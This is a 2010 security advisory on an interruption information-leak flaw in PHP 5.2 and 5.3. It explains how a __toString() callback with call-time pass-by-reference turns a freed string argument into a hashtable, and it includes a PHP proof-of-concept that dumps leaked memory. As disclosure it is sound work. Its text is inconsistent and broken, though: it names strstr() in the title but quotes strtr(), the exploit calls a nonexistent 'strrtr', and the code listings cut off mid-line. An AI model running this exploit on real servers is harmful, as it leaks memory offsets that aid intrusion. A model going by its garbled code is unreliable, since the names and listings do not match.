

# MOPS-2010-040: PHP strstr() Interruption Information Leak Vulnerability

May 21st, 2010

PHP's strstr() function can be abused for information leak attacks, similar to all the other interruption exploits. However the interruption is not triggered inside the zend\_parse\_parameters() function and therefore another fix is required.

## Affected versions

Affected is PHP 5.2 <= 5.2.13

Affected is PHP 5.3 <= 5.3.2

## Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

## Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser's talk about interruption vulnerabilities at BlackHat USA 2009 ([SLIDES](#), [PAPER](#)). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilities are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits attacks the strstr() function.

```

PHP_FUNCTION(strtr)
{
    zval **from;
    char *str, *to = NULL;
    int str_len, to_len = 0;
    int ac = ZEND_NUM_ARGS();

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sZls", &str, &str_len, &from, &
        return;
    }

    if (ac == 2 && Z_TYPE_PP(from) != IS_ARRAY) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "The second argument is not an array");
        RETURN_FALSE;
    }

    /* shortcut for empty string */
    if (str_len == 0) {
        RETURN_EMPTY_STRING();
    }

    if (ac == 2) {
        php_strtr_array(return_value, str, str_len, HASH_OF(*from));
    } else {
        convert_to_string_ex(from);

        ZVAL_STRINGL(return_value, str, str_len, 1);

        php_strtr(Z_STRVAL_P(return_value),
            Z_STRLEN_P(return_value),
            Z_STRVAL_PP(from),

```

What happens here is that `zend_parse_parameters()` retrieves two string arguments and a ZVAL into local variables. The problem is that the string pointers will point to the exactly same strings as the original string ZVALs without any kind of reference. If the original string ZVALs get modified this will result in the string pointers being invalid, pointing to already freed and reused memory. An interruption attack is very easy because the second argument is converted into a string inside the function, which allows to pass in an object with a `__toString()` method. So interruption is possible even though `zend_parse_parameters()` is fixed. An attacker just needs to pass an object as 2nd parameter to `strtr()`. From the `__toString()` method an attacker can then kill the first argument due to the call time pass by reference feature of PHP and reuse it e.g. for a hashtable. This results in `php_strtr()` working on memory of a hashtable instead of a string, which lets the attacker leak important internal memory offsets.

### **Proof of concept, exploit or instructions to reproduce**

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

#### Hexdump

```
-----
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41 .....AAAA
00000010: 00 00 00 00 00 00 00 00 A0 F7 B4 00 01 00 00 00 .....
00000020: A0 F7 B4 00 01 00 00 00 A0 F7 B4 00 01 00 00 00 .....
00000030: 90 FB B4 00 01 00 00 00 74 43 30 00 01 00 00 00 .....tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- --
```

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

```
<?php
class dummy
{
    function __toString()
    {
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    }
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);
}

/* Trigger the Code */
$x = strrtr(&$GLOBALS['var'], new dummy(), "dummy");
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    , " " , " "
```

## Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.